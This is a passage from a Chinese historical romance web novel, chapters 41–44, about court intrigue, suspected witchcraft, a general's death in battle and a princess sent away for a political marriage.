那一年新皇登基，太后信佛，以命格相冲之由逼迫赵家将赵云归送走，她的父亲赵从南自是不肯的，可奈何拗不过执拗的赵离便只能退步，高梨不知道肖权与赵家的关系自是以
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为真的是命格相冲才将人送走。
自那之后，赵从南因身在边疆自是没办法管赵云归，可她的母亲柳眉昭竟也从未去看望过她。
她便像是被遗忘在那青鸾山上一样。
高梨是个孤儿，与她一日进府的还有赵心缇，他自从被赵从南救回来后便日日习武，他只知道习武是为了保护他的妹妹。
妹妹比他小一岁，可他根本没有见过妹妹啊。
所以他会偷偷的去山上看赵云归，可每次都会被赵家人带回来痛打一顿然后关进祠堂，那时他看到的赵云归总是一个人，也不说话，他只知道妹妹不开心了，可他什么也做不了。
直到后面赵从南将他带在身边，便再也没能见到赵云归了。
再见之时。
本以为她变了，一切都好起来了，可，原来是妹妹长大了，把事藏在心里了。
不过还好，“一切都在慢慢变好的。”
将已经睡熟了的赵云归抱起送回房间，刚关上门一个人便着急忙慌的跑了过来，“少将军，边防急报。”
高梨接过那人递来的信纸，越往后看脸上的表情就越来越凝重，“照顾好云归。”
“是。”
同小秋交代好所有事情后便回去收拾东西了，虽极力放轻动作，本该在睡梦中的燕半梦却还是被吵醒了。
在一旁静静的帮他收拾着。
“真的就这么急吗？”连这一夜都等不了，非得现在就急着出发。
“嗯。”
高梨的神情依旧冷淡，直到他准备坐上马车了都没开口同她说一句话。
“高梨！”见他停下脚步，燕半梦跑上去从背后抱住了她的腰，哽咽道，“万事小心。”
“我……我们都在家等你回来。”
“好。”高梨知道她担心，知道她想念她的父亲了，便站在原地任由她抱着，“在家好好休养，下次我们一起去。”
“好。”
燕半梦不舍的松开手，转过身，捂着嘴不让自己哭出声来，直到马车离去她都站在原地，不曾转身。
夜晚总是那般短暂，转眼间天空上就冒起丝丝光亮，赵云归醒来时只觉难受的很。
果然还是不能喝酒啊。
指尖轻轻按着太阳穴，感觉头要炸掉了，还有一身的酒味，难受死了。
起身去泡澡，小秋便端着吃食走了进来，旁边还有一碗醒酒汤，是高梨昨晚就吩咐了的，只是小秋不知道赵云归何时醒，所以现在才端来。
“放下了就出去吧。”
“是。”
等她出去时箫祁政正在外面等着，几日未见终于舍得露面了。
“有事？”
“我感觉……她的情况不太对劲。”
都这般小心了还是出事了吗？
赵云归脸上浮现出担心神色，一同去了不远处的那个房间，等她进去后箫祁政便在外面守着。
关上门，撩开一层层薄纱走进，谷清音正躺在里面的床榻上，谋划假死脱身那日便悄悄将谷清音转移到了此处。
“奇怪。”
“这脉象……”明明像之前一样没有问题，而且那日也是已有了苏醒了迹象，怎么还会如此呢？
“不对劲。”
赵云归将她的手重新放回被褥中，思索着起身坐在旁边，难道……不是她不愿醒来，而是有人不让她醒来？
“到底是谁？究竟有什么目的？”
41.拨开云雾又见云雾
将针灸袋展开。
一根根针扎进谷清音的皮肉，俯身在她耳边轻轻的说着些什么。
像是感受到了外界的声音不自觉皱起眉头，眼皮微颤，微眯着眼，眼看着就要醒来，可越是这样痛苦。
挣扎中，额头冒出丝丝细汗。
“咳咳。”
丝丝血迹染红原本泛白的嘴唇，见状连忙将她扶起，让她靠在自己怀中，用手帕轻轻的擦拭着，可那暗红的的血液却往外吐个不停。
“果然如此。”
将血渍擦干净后赵云归便出去了。
“如何？”
“无事，你去忙吧。”说着赵云归便抬步回自己房间去了，换了一身衣裳走出便见箫祁政还在门外等着她的。
两两相望，本以为箫祁政有话要说，可半天不见他开口赵云归便也不再等，绕过他离开了。
这是她头一次未伪装入鬼市，刚走进来便能感受到许多别样的目光。
“咚——”
“咚咚——咚——”
“……”
顺着鼓声走去，这是她第一次在鬼市见到花芷的地点，如今，她依旧是那一身蓝色异域服饰，赤脚于高台起舞，好像……这样的她才是自由的。
混在人群中看了许久，等着鼓声结束。
可花芷却没有朝着人群的方向走下来，而是转身走近了高台后的门，赵云归连忙提起长裙，穿过人群朝着这条路的尽头跑去。
“等一下。”
两人对望一瞬，花芷将身旁的一群人打发走便朝着她的住所走去，赵云归见状连忙跟了上去。
“随便坐。”
两人对坐下来，端起花芷递来的水抿了一口，不知该如何开口。
“我可不会跟你回去了。”
回去？
不回去才好呢，待鬼市她起码是安全的，况且在将军府花芷过的一点都不自在，想到是因为自己才让花芷如此些赵云归低着头看着手中的茶杯，声音压的很低，“那我来找你不就好了。”
“好吧，这可是你说的。”
说话时微偏着头，眼神始终落在赵云归身上，声音依旧傲娇，“那我勉强原谅你吧。”
“砰。”
听到声响，赵云归下意识抬头看去，瞬间瞳孔骤缩，脸上浮现出不可置信的神情。
“你……”面具被摘下放到桌上，一条条不规则发黑色纹路暴露出来，从额头延伸到眼下，甚至还有像下到趋势，“你的脸？”
就过去了一个晚上，究竟发生了什么？
指尖轻抚上脸颊，她也不知道，就……“突然长出来的。”一觉醒来就成这样了，具体是什么情况就连她自己都没想明白。
那……“有什么不舒服吗？”
“没有。”就是因为身体没有什么不对劲的地方她才看上去一点都不担心。
话虽是这么说，可赵云归还是不太放心，起身走到她身边，仔细检查起来，确实没什么问题，首先就排除了下毒的可能性。
突然，她的脑海中浮现出谷清音未有中毒的迹象吐出的污血却像是中毒。
“你说……”会不会是，“巫蛊之术？”
将心中的怀疑同花芷讲了讲，她的神色也凝重了起来，一件件超乎常理的事确确实实摆在她们的眼前了，便不得不怀疑是有人使用了巫术。
不过，“你心中早就有人选了不是吗？”
“是。”可是……“我根本找不到他。”那个人是唯一与她有联系还能将巫术用的出神入化的。
“你有见过他吗？”
花芷愣了一瞬，摇了摇头，“没有。”
不过，“我的脸应当与他无关。”是赵云归的话点醒了她，或许这就是鸢伏苓所说的反噬吧，就是不知道以后还会有什么。
两人又待了会儿，便该回去了。
花芷送她到了门口，思索一瞬还是选择开了口，“他昨晚便走了。”
“嗯。”
他有他的生活，“我也有我的生活。”
感情不可能占据她生活的全部，况且他也已经成婚了，轻轻倚靠在门边冲她挥了挥手，嘴角依旧挂着淡淡的笑看上去没什么变化。
她既已看开，赵云归又如何会开口劝她。
若是得空，便……“陪我去见个人吧。”
赵云归的手搭在胸口，不知为何，她的心中总是空落落的，也是时候该，“赴约。”
“好。”换了身衣裳两人便出去了。
人群中依旧有那个熟悉的身影，没有一丝掩饰的看着两人来的方向，赵云归装作没看见挽着花芷走上了马车。
不知不觉中，点点雨滴砸在马车上，赵云归掀开帘子伸出手，感受着越来越多的雨水，看样子一时半会儿也不会停了，“回去吧。”
“怎么了？”
“上不去了。”灵谷寺在高山之上，山路崎岖要想上去只能徒步，如今又下了雨，两人是根本没办法到山顶的。
“你……”到底是想要，“见谁？”
花芷原本想着到了便知道了，可如今去不了了她又是这副失魂落魄的样子。
“沈明昭。”
“嗯？”这个名字她还是有印象的，当初沈静安接近花芷就是为了她的婚事，只是……“见她作甚？”
还这般突然。
“我……”那日在丞相府见到她时便觉得很熟悉，可她不知道究竟是这副身体的反应还是在她小时候忘记的那段记忆里有沈明昭。
“云归与她自小便是熟识。”边说着也在脑海中回忆着，“她们也有常通书信。”
只是……“你……”花芷也不知道她上山之前究竟是谁，苏白英也从未提起过，不过……“据我所知……”
沈明昭其实是沈溢之故人之女。
“花芷！”
“我想知道过去究竟发生了什么。”过去她有师门，她不是一个人，所以她并未想过这件事，可如今却越发好奇。
就好像冥冥之中有什么事在牵引着她。
只要她开口，“我自然会帮你的。”可是，这一切都必须等到她回到自己的身体，而且，若是伤了脑袋可就得不偿失了。
就算是这样，“你不害怕吗？”
又怎么会不害怕呢，再等等吧，“等一切结束吧。”
若是……还有机会的话。
如果一切能被纠正的话，再去寻找真相。
“好。”
只要需要，“我一直都在。”
将花芷送回去后也未再多做停留，重新坐上马车回赵府去了，走下马车箫祁政便走到了她的身边，跟在她的身后走了进去，“阿音——”
一路上赵云归都没有理他，直到回到了房间才转身看向他。
“我要离开一段时间，可以……”再最后抱一次吗？可一想到她有可能会听到她拒绝的话，便心烦意乱，上前一步握住她的手将她紧紧拥入怀中，“我错了，别不理我。”
“一定要……”成功，“平安。”
如他所说，接下来的半个月都没有他的消息传来，像是人间蒸发
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了一般。
一日，两人见外头万里无云，定是不会见雨了便又启程了。
“这是……”
掀开帘子看着一旁的马车，不禁皱起眉头，“肖家的马车。”
“她会不会遇到什么危险。”
“绾绾。”花芷拉住准备下马车的赵云归，思索着，“回去吧。”
这山上早已布满了暗中保护沈明昭的人，她不会遇到什么危险，可若是她们现在上山，那……“我们一定会很危险。”
“可是……”
“没什么可是的，回去。”
流云缓动，日落西斜，马车沿路而返，等停下之时倒有人先一步掀开了帘子，看着面前这张生面孔赵云归与他对峙着，见他迟迟没有动作才开口。
“公子……不妨让我先下去？”
男子微微挑眉，收回手，帘子重新垂落隔开了两人。
“赵二小姐还是快些吧。”清冷的男声传来，赵云归才走了下去。
肖念安？
她为何在这儿？
“两位……”专程在这门口等着是有何事，赵云归的眼神在两人身上打量，这人估计就是顶替齐卫的人。
“有人检举，赵二小姐私藏重犯。”
检举？重犯？
既然如此，为何不带人围了将军府，而是只身候在门外，“何不进去抓人？”
因为……“我想卖你一个人情。”
肖念安话里的意思是，只要赵云归交出谷清音他们便不会将事情闹大，毕竟，“赵老夫人也喜爱清净不是吗？”
若是让赵离知道赵云归院中藏了人定是免不了责罚的，更何况这人还是他们口中的朝廷重犯。
所以……“你想知道什么？”
“箫……不，是……一直跟着你的那侍卫如今在何处？”
赵云归沉默着移开眼神，看两人这神情是不肯罢休了，可……早在箫祁政离开那人便将谷清音转移到了鬼市，这事根本威胁不了她。
“我并不想与二位扯上什么关系。”这个人情她并不需要，所以，“好意心领了。”
“若是二位有证据，敢抓人进去便是。”
无需在这里同她再周旋什么，不过……“若是肖小姐对我的侍卫感兴趣，倒也不是不可以让你们见一面。”
“陆奇！”
话语刚落，陆奇不知从何处冒了出来走到几人身边。
“二位……自便！”给了陆奇一个眼神赵云归便丢下几人进去了。
两人被打发走后便没再来找她了，箫祁政也没有消息，赵云归倒是又落得清闲了。
一日，本该到了每月给箫婉兮施针的日子，刚将男装找出来便传来了一阵敲门声。
“咚咚咚。”
“何事？”
“少夫人……”小秋气喘吁吁的，脸上全是慌乱，“少夫人出事了！”
“发生了什么？”
“就在刚刚……”小秋被孙妈妈叫走，本是想了解赵云归这些时日的动向，却见燕半梦院子的丫鬟着急忙慌的跑着。
孙妈妈便让小秋跟了上去。
燕半梦正坐在院中插花，见她这般无奈的放下手中的剪刀，“今日怎的这般没规矩了。”
“老爷夫人派人送了信。”
接过她递来的信封，不解的拆开，“是有什么急事吗？”
可看完上面密密麻麻的字后她的表情也不对劲了，燕半梦握着信纸的手不断加重力道，胸口不断起伏，“怎么会？”
怎么会这样！
42.再见一面，最后一面
“哼……哼……”
燕半梦无力的撑着一旁的石桌，手中的信纸不知被风吹向何处，急促的呼吸着却依旧被压的要喘不过气了，想到信中的内容眼泪便止不住的落下。
“不，不会的”
感觉无数密密麻麻的声音缠绕在耳边，可她什么也听不见，用力的手不断颤抖，一根根青筋在她那布满细汗的额头变得明显。
“云归……找云归过来……”
“是，奴婢先扶小姐回房休息。”旁边的丫鬟碰到她的瞬间，一口鲜血喷出便卸了力向后倒去。
“小姐！”
“小姐！”
等她再次睁开眼时赵云归已经坐在床榻边了。
强撑着快要再次合上的眼皮，看向一旁的人，可只是稍微动了一下，脑袋的抽痛感便不断的冲击着她，“云……”
刚想说话嘴唇便被甜腥味占据。
“咳。”
“咳咳……”
鲜血便随着她咳嗽时的身体的起伏随意的流向四周的皮肤。
“嫂嫂！”
见状连忙将她扶起，擦拭着嘴边的血迹却也是无济于事。
燕半梦用她仅剩的那丝力气握住赵云归的手，还在不断吐血的嘴唇一张一合，可却像是有什么东西堵住了一般，扎的她嗓子刺痛。
“咳咳。”
“高……咳咳……”
赵云归也不再执着给她擦拭着没有尽头的鲜血了，贴近仔细听她嘴中的话。
“他咳……危险……咳咳咳……”
“咳咳咳……”
高梨遇到危险了吗？
见她咳嗽不停赵云归连忙轻拍着她的背，让她能好受些。
“花……”
“花芷……咳咳咳……”
“二小姐，大夫来了。”丫鬟气喘吁吁的声音传来，赵云归只好松开手离开。
低头看着手中的血迹，思考一瞬还是选择接过来她递来的信纸，“有事去听雨阁找我。”
“多谢二小姐。”
看了一眼手中的信纸，回头便看到那逐渐紧闭的大门，也便未多做停留。
信上讲的是高梨带人勘察时被人暗算，被敌军包围，短时间内援兵无法到达，他如今也是生死未卜。
按时间来看这也是前几天的事了。
不知如今是何状况了。
“孙妈妈？”刚走出这个院子便与她撞了个正着。
“二姑娘？”
“你……这是……”
许是看着她浑身血迹的模样，下意识的皱着眉往后退了一步。
懒得与她纠缠，将手中的信交于她便离开了。
回到听雨阁后将身上的血渍清洗了，换了身干净的便出去了。
“谁？”
今日本是不见人的，在门被推开的一瞬花芷立马投去了警惕的目光。
“绾绾？”今日怎么有空来了。
见她面色凝重的走近了，花芷立马迎了上去，可走近挽住她的手臂便闻到那股淡淡的血腥味，“绾绾，你受伤了？”
“不是我……”是……燕半梦。
燕半梦迷糊中叫着花芷的名字应当是想要见她或是想要花芷去找高梨。
赵云归猜不出来，便直接跟她说了这事。
“花芷……花芷……”
“花芷？”
赵云归伸手在她眼前晃了晃，叫了好几声才将她的思绪拉回来，只是她看上去还是有些愣神，“怎么了？”
“你……”是如何想的？
“其实……”花芷犹豫着将自己的外衫脱下，露出了她手臂上的一条条黑色纹路，再仔细看，她脸上的也更加骇人了。
“我早就察觉到这些……”突然冒出来的骇人的纹路，“与那蛊虫有关了。”
“而且……”她的五感也在慢慢退化。
她早就想到高梨许是遇到什么了，花芷清楚的知道，只要她身上的反噬不断就说明高梨如今还活着。
“所以……”
“我不敢……”不敢去，怕高梨不愿见她，也怕撑不到见他。
“你为什么不告诉我？”
如果赵云归提前知道这件事了定是愿意陪她去找高梨的，可就算是已经到了这一步了花芷还是犹豫不决，“走。”
赵云归握着花芷的手，拉着她往外走。
“去见一面，把所有的事都说清楚！”把所有的念想都斩断，只有这样才能开启新的生活。
“好！”感受着心脏剧烈的跳动，点了点头，那就再见最后一面。
不过，这一次……“我一个人去就好。”
“等我回来。”
只带来些碎银便上路了。
“驾！”
“驾！”
炽热的阳光直射而下，被空气中灼热的气息包裹，滴滴汗水落下，可城池内血流成河的惨状让花芷不敢有一丝松懈。
“驾！”
内心的慌乱让花芷忘了害怕，只顾着挥动手中的马鞭，“快一点。”再快一点就好了。
怕遇到敌军之人，花芷特意选了小路，可……等她到了两军交战之地时几乎看不到一丝活口了。
看着那一具具望不到头的血肉模糊的躯干，晃了神，只是一瞬花芷便同身下的马一同摔倒在地。
“啊！”
“嘶——”
强撑着酸软刺痛起身，一眼便看到了不远处那跪在地上，手中的长剑撑着他无力身躯的，因为他的胸口插着一面醒目醒目的旗帜，也让他显得格外醒目。
那是……清离国的旗帜。
就好像，是他誓死捍卫的国家杀死了他。
踉跄着走去，看着那柄熟悉的长剑，两人相处时的一幕幕场景在她脑海中划过，那旗帜仿佛是插在她的胸口，害的她喘不过气，疼的她落下淡红的的眼泪来。
“高梨！”
奋力朝他奔去，最后一刻跪倒在他身前，“高梨——”
抬手想要抱住眼前的人，可数十支锋利的箭穿过了他脆弱的身躯，只觉耳朵嗡嗡作响，红色的泪水如断线般落下。
“对不起——”
“对不起……我来晚了……”哽咽着，身体也止不住的颤抖着，“我早该把一切都说清楚的。”
“对不起……”她不该纠结不定的。
颤抖着手抚摸着他的脸颊，高梨像是感受到脸上不属于他的温度，用他最后一丝力气抬起了头。
“你……”终于，“来…了！”
“还……”好，等到了……随着嘴一张一合，那鲜红的血液像是终于找到了宣泄口，争先涌出，滴在草地上拉出长长的细丝。
迷迷糊糊的看着眼前的泪人儿，想要她擦掉泪水，可那手臂刚抬起一点就重重垂下。
“不要……”闭上眼睛啊。
“你从前不是说……感觉我很熟悉吗，你看着我……看着我，我慢慢跟你讲好不好。”花芷轻捧着那满是血迹的脸，哽咽着好像快要窒息一样，“你看看我……我…我把儿时的事一点点说给你听好不好。
“我求你了。”
“你睁开眼啊！”
“高梨，我来了，你看看我啊！”她越来越慌张，托着他无力垂下的头的手颤抖个不停，无论她再说什么高梨都不能做出回复了。
“
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……”
慌张的拉着他的手抚上自己的脸颊，可在烈日的灼烧下他的手却冷的可怕，“哼嗯……”
醒过来好吗，“我们回家……”
“对，回家，我带你回家！”
看着他彻底低下的头再也控制不住放声大哭。
“啊！”
“……”
高悬的太阳慢慢落下，花芷无力的瘫坐着，目光空洞，无声的哽咽着，脸颊上红色的泪痕也早已被吹干。
“为什么……”上天如此不公。
到了晚上，花芷将高梨的尸身火化，哪怕她再怎么累也连夜带着他的骨灰往京城去了。
花芷赶到时，便看到将军府上下挂上了白稠，看着手中的瓷罐，他们……“怎么这么快得到消息了？”
可，她不知道的是。
就在前一日赵云归又收到了新的信件，确定是好消息才让小秋送去给燕半梦。
“小姐！”
“少将军无事，少将军无事！”
“无事……”便好！无事她便放心了，温热的眼泪从她早已冰冷的脸颊滑落，惨白的嘴唇一张一合，却发不出声音了。
终于，带着那淡淡的笑合上了眼。
赵离也被这接二连三的事闹一病不起，花芷走近后就见赵云归同赵心缇跪在棺椁前，机械的重复着手上的动作。
“绾绾？”
“花芷？”看着她这狼狈的模样两人连忙起身走到她身边扶住了她，这是……“发生什么了？”
“对不起……”
“是我太没用了……只能……带着他的骨灰回来。”说着她的意识也慢慢模糊，“对不起。”
“对不起……我没用……”
“都怪我……”
说着，将手中的瓷罐递给赵心缇，便再也撑不住的，腿一软直接倒下。
“花芷！”
赵云归扶着她，同她一起瘫坐在地。暗红色的血液吐出，立马将她打横抱起。
“阿姊，你先……”看着她抱着瓷罐有些失了神，还是决定先送花芷回房，“阿姊？”
“你一个人可以吗？”
“嗯。”无措的点了点头，慌张的转身却不知是要往何处走去。
赵云归就出去抓个药的功夫，再回到房间时花芷浑身烫的厉害，吩咐人熬药又去打了水给花芷擦拭身子。
来来回回折腾了一下午，到了晚上花芷的脸色才稍微有些好转，这才放心去给赵心缇帮忙。
“阿姊？”
“怎么还没休息？”
赵云归走到她身旁坐下，拉住她的手才发现看上去冷静的她，心中其实慌乱的紧，轻轻按着她的手，想要她紧绷的神经能放松一些，“想看看有什么能帮上阿姊的。”
“云归……”
赵心缇轻轻拍了拍她的手，犹豫着开了口，“你阿兄他……”
可是事情已经发生了，他们必须要向前看，其实她无意中发现了箫祁政假死之事，也猜出了他们的计划。
可……“你日后行事需以家族为重。”不能再那般不顾后果了。
“嗯，放心吧阿姊。”
赵心缇欣慰的看着她，眼泪不自觉落下，“日后……”若是她也出了什么意外的话，“一定要照顾好赵家的每一个人。”
带着她的那一份，保护好赵家的每一个人。
“嗯，我会的。”
“云归……长大了。”终于等到这一日了，终于可以放手了，很快……这里的一切都可以交还给她了。
但在这之前赵云归不能有任何意外，务必……“万事小心。”
“回去吧。”
43.临别前的最后一舞
赵离重病，赵心缇便同她去了普陀寺休养，察觉到赵府周围多出来的眼线，赵云归便与乔牧一起设计将昏迷不醒的花芷运回了鬼市之中。
府中没了能约束她的人，赵云归直接留在鬼市照看着这昏迷不醒的两人。
“感觉如何了？”
赵云归接过慕珂手中的空碗，看箫婉兮如今这气色还是恢复的很不错的，再来两次便可痊愈了。
“好多了，劳烦姑娘费心。”
“只是……我们日后便…不再来了！”
不来了？
为何？虽说她的症状减轻了，可若是突然断了治疗前面所做的一切便全是白费，她余生又要被这刺骨的病痛纠缠着了。
可看着盘坐在床榻上的两人，虽说心中不解却并未问出，“你决定了就好。”
转身将手中的瓷碗放下，回过头便看到了慕珂半跪着细心的为她穿着鞋袜，见状默默离开将地方留给两人了。
“如何，可以吗？”
“嗯。”
慕珂扶着箫婉兮起身，视线一刻不敢离开，生怕她身体还有不舒服的。
“没事的。”箫婉兮浅浅一笑，冲她摇了摇头便见慕珂将一旁的披风拿起为她披上，贴心的将连帽戴上才重新拉住她的手。
“我们回去吧。”
“好。”
回宫之时，那赏赐如流水般入送来，箫婉兮愣了一瞬心中也看明白了，轻叹一声不再管她们回了房，慕珂便带着他们将赏赐放到了别处去了。
等她去找箫婉兮时，就见她坐在窗边，视线落在身前的棋盘，指尖不断摩挲着棋子却始终没有落下。
“为何不下？”
这个残局她日日都摆在这里，就光是看着也不让别人碰，“因为我……”不想破局。
慕珂绕过她推开木窗，一束阳光穿过外头的树斑驳的光正巧落在棋盘上。
“这……”
心头一颤，手中的棋子落在棋盘上。
这局残局终究还是破了。
“也对……”心中知晓答案之时哪怕不愿说出结局也已经注定，因为……那…本就是她的使命。
扶着站起身，面对着慕珂站着，“若是……我们分开了。”
“你会忘了我吗？”
会忘了她吗？那定是不会的啊！
她又何尝不知慕珂会作何回答，可还是想听她亲口说出。
“不会。”
“嗯。”箫婉兮微微颔首，眼眶变得湿润，怕她看到担心有些无措的转过身，去关上了窗，“我知道。”
“婉兮……”
“嗯——”箫婉兮的声音变得哽咽，听到慕珂的声音更是止不住的落下泪来，“别看。”
“我这样一定很难看。”
怎么会难看，“闭上眼，抱抱我好吗？”
慕珂微微抬起手箫婉兮便撞进了她的怀中，泪水打湿了她的衣裳，慕珂轻抚着她的背。
“你……”准备何时离开？
“离开时…不要告诉我，好吗？”这样慕珂就不会再看到她伤心的模样了，就不会因为她绊住脚了。
“嗯。”
晚些时候箫婉兮主动去见了箫元义。
她知道，此时需要一个人去和亲，可箫元义舍不得他膝下唯一的公主，便将主意打到了箫婉兮的身上，却又想着让她主动提出。
这步棋，箫元义算是下对了。
次日，天还未亮，那大批赏赐便同圣旨一起来了。
“……”
“……”
“接旨吧！”
“长平接旨。”在慕珂的搀扶下箫婉兮起身接过圣旨，周围嘈杂的声音引得脑袋嗡嗡作响，什么话都听不进去了。
打发走其他人，便站在箫婉兮身旁陪着她。
时间慢慢流逝，最后的暗色被那一丝光亮所替代，枝头的鸟儿也叽叽喳喳吵个不停，扰人清梦。
“咚咚咚！”
听到里面有了细微的动静，箫祁政便站在门口耐心的等着，门打开的瞬间不给赵云归一丝反应的时间将她拥入怀中，“阿音——”
“我在。”
他即日便要启程了，再见不知又是何时，“等我。”
“等我回来。”便娶你，“好吗？”
“嗯，愿君……”赵云归轻皱眉头，微愣了一瞬，“平安！”
松开手，轻抚上她的脸颊，眼神停留一瞬便转身离开了，出了鬼市先去找了箫轻尘，本想着顺路将他带回去，可他却丝毫不领情。
“阿然还在宫中我是不会走的。”
箫轻尘的态度坚决，无论怎么劝他都死活不肯离开，见他如此箫祁政也没了耐心，抬脚将他踹翻在地，蹲下身用力揪着他都领子，“箫轻尘！”
他的眼神冷的厉害，声音也压的很低，“你是跟我走，还是……”
看着他都眼神，不自觉加重了手中的力道，“等我把你打晕了拖走。”
“不——”
“你就算是把我打死我也不会回去的。”箫轻尘想要挣脱开，却是白费力气，反而是激怒了箫祁政脸上又是重重的一拳。
无奈他便直接躺了下去，“我要带阿然一起回去。”
“你要怎么带她出来？”除了躲在这里空喊，还能做些什么，“别忘了，是你害她被抓走的。”
是啊！
都是因为他！
“我怎么这么没用。”
箫祁政也懒得再跟他废话了，“跟我走。”
“不！”箫轻尘爬起来，有些失了智，只想立刻冲进宫中把莲心救出来。
“哼…”深呼一口气，跟上去，卯足劲就是一脚，竟将他踹飞了出去，头重重撞在不远处的石凳上晕了过去。
终于清净了。
箫祁政走过去，捉住他的领子，将他提溜起来拖了出去，扔到了马车上。
“走。”
马车缓缓行驶，他则是钻进里面的暗格当中。
天空被乌黑的云遮住，时不时还落下点点雨滴下来。
“婉兮——”
“我没事。”扯出一丝牵强的笑，指尖带过脸颊上的雨滴，“我想吃些甜的。”
“好。”
“回屋等我好吗？”
点了点头，麻木的站起身，朝着屋内走去。
她本就喜素，寝殿的布置也是极简的，可架子上今日送来的那大红色的婚服却格外的显眼。
箫婉兮站在不远处偏头看着，脸上没有一丝一毫的欣喜，关门声传来她的思绪慢慢被唤回，乌黑的双眸却依旧被那一抹红色所占据，“好看吗？”
这是皇帝不久之前就按着箫婉兮的尺寸所准备的，耗时耗力，又怎么会不好看呢，可……又如何能说服自己去说它好看呢。
将手中的糕点放下沉默着走近，轻轻握住她的手，拉着她走到婚服旁边。
慕珂转过头看着她的脸，“好看吗？”
原本相握的手松开，慕珂走到她的身后轻揽住她的腰，俯身将头
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埋在她的肩膀，箫婉兮抬起手，指尖抚上，感受着金丝缠绕下微弱的起伏，“好看。”
比她所有的衣裳都要好看。
这好像真的是她从前所期望的，从前幻想过的模样。
那……穿上……“让我看看……”好吗？
“好。”
听到她的回答后慕珂便松开了她，转身想要去叫人进来帮她换上，可感受她离开的瞬间箫婉兮立马转身抱住了她，“帮我。”
“嗯——”
退后一步，外衫从肩头滑下落在脚边，指尖轻挑开腰带。
架子上的婚服换到箫婉兮身上，修长的脖颈和那清晰的锁骨暴露在这暧昧的空气中，撩起那垂落至腰间的青丝，慕珂半搂着她继续着手上的动作，原本宽松的衣衫有了腰身，也显出了她的薄肩窄腰。
双手交叠，站的端庄。
“如何？”
慕珂浅笑着点头，视线从未移开。
走近轻握住她的手，温柔的笑意荡漾开来，抬手轻抚上她的脸庞，“你说过最喜欢我跳舞的。”
以后恐怕就没有机会了，“你来抚琴可好？”
“好。”
厚重的外披被丢到了一边。
在箫婉兮的注视下，指尖勾起琴弦，空灵的琴声响起，衣衫随着她的舞动飘起。
轻扬的乐声传到外头，却扰了慈宁宫的那位。
“哼。”
“她倒也是心大。”
“都中了毒还这么有闲情逸致啊。”见纪绍走来，肖暮云抬手让侍女离开，扶着他起身后纪绍便将手上的披风披到了她的身上。
“走吧。”
“让我们……”去会会她！
马车缓缓停下，肖暮云抬手将连帽戴上便在纪绍的搀扶下走下了马车。
早知她要来，这里早早的就闭了门。
肖暮云也是径直朝着里面走了去，路过时看到叁生堂已上了锁她也未做停留，继续往里走去，到了鸢尾的住处。
“奇怪。”
从前鸢尾从不会这般早便将门关上的，难道是出什么事了，“去打开。”
“是。”
纪绍走上前轻轻推了一下木门就打开了。
率先一步走进去，里面并没有人，肖暮云径直朝着鸢尾的房间走去，一眼便看到一个带着面具还是男子装扮的女子坐在床边，察觉到她们到了也丝毫不影响她手中施针的动作。
这装扮看着眼熟。
“赵氏？”她之前派人跟着赵云归时，描述的便是这般模样。
只是，“你何时懂得医术了？”
“皮毛罢了，不知……姑娘所谓何时事？”
姑娘？
“哼。”
“你竟不认得我？”
也真是怪了，“你侥幸留下一命后竟从未想着报复哀家？”
看到眼前之人之前握紧的手和那微微发颤的身体，肖暮云终于是笑了出声，“哈哈哈。”
“也对。”
“就算有……”这个想法又如何，“凭你你也动不了哀家。”
只是这人真是命大，刺杀了那么多次竟都让她逃了过去，害的她也没了兴趣，不过，如今看到，倒又想跟她玩玩了，“把面具摘下来让哀家好好看看。”
“耳聋了吗？”
面具之后的脸缓缓露出，肖暮云不自觉皱起眉头，脸上的笑容也逐渐消失不见。
“我就说嘛！”原来是老熟人啊！
真是有趣呢！
44.公子，妹妹们不能怪我吧
“谷清音？”
难怪箫婉兮中了鸢尾的毒还能活蹦乱跳的，如果是她，那么一切都能说通了，只是……“你居然还活着。”
还真是命大啊。
话语落地嘴角勾勒出一抹淡笑，看着她的眼神也染上些许戏谑，“果真是长了一副好皮囊啊。”
“可惜……”那场大火没将她毁了去。
“待她醒来，来见我。”肖暮云微微仰头，微眯着眼，勾起的嘴角满是不屑，“给你一个报仇的机会啊。”
“哀家等着你。”
没有给她拒绝的机会，肖暮云便同外头守着的纪绍离开了这里。
确定人离开后谷清音连忙去将不远处的衣柜打开，虚弱的声音传来，“姐姐。”
“当心。”
本就虚弱的赵云归又在这里面关了许久，一个没撑住倒在谷清音怀中，“怎么样，没事吧？”
“咳咳。”赵云归轻咳两声，许是昏迷太久突然回到自己的身体不太适应，抓住谷清音的手臂的手不自觉用力，却又怕抓疼了她，只能颤抖的掐自己的手上的皮肉。
“云归！”
谷清音揽住她的腰，抱着她走到床榻边，将她放下，“别伤害自己。”
“好~”
迷迷糊糊的点了点头，赵云归随手抓住旁边的被褥盖在身上，用力的撕拽着，“姐姐——”
“我好疼啊——”
谷清音手中的针刺进她微微泛红的皮肤，身体的刺痛无限放大引得她瑟瑟发抖，那一双桃花眼满是泪水，无法控制的从那泛红的眼角滑落。
“姐姐——”
“别害怕，我在呢。”
一个个针灸针立在她的身上，微微仰头，眼皮都在不自觉的打颤，泪水再次滑落。
“如何？”
刺痛慢慢消散，那用力的手脱了力，微张的嘴唇喘息着，谷清音抬手为她擦拭着脸上的泪水。
“我去将药端来。”
谷清音起身往外走去，赵云归偏过头视线追随着，闭上眼的瞬间大颗大颗的泪珠再次滑落，“姐姐——”
等谷清音回来时赵云归已经起身了。
“自己可以吗？”
“嗯。”赵云归点了点头接过谷清音手中的瓷碗，一口一口的送入口中。
“你房中床榻下有一个暗格，里面是我这些月同赵将军通的书信，别被看出端倪了。”从她接近箫祁政时便与赵从南在同书信。
毕竟，虽是父女可并未有多深的感情，要想说服他支持箫祁政必定是要下些工夫的，不过好在赵从南对柳眉昭用情至深，所以对赵云归也算是爱屋及乌了。
“嗯，可是……字体……”
“放心，我都是仿的你从前的帖子，倒也不至于差别很大。”
“好。”
如今将军府附近估计还是有许多人看着，“你行事小心些。”
“好。”
同她交代了许多，晚些时候，谷清音同乔牧做了伪装后便将赵云归同菜车一同推进了将军府。
推开房门，里面的人与她对视上了，“这些时日你去哪儿了？”
赵云归没有立刻回答她的问题，走到她身边坐下，拿起桌上的水壶给自己倒了杯水，送到嘴边，“今日怎么不陪着阿母了？”
“云归？”
“祖母知道了你又该受罚了。”
“哼。”垂下眸子轻笑一声，“明白了。”只是……她如今都已经自顾不暇了，哪里有闲心管她啊。
“咳咳。”
手中的瓷杯掉到桌子上，水溅到了两人身上，“我有些累了。”
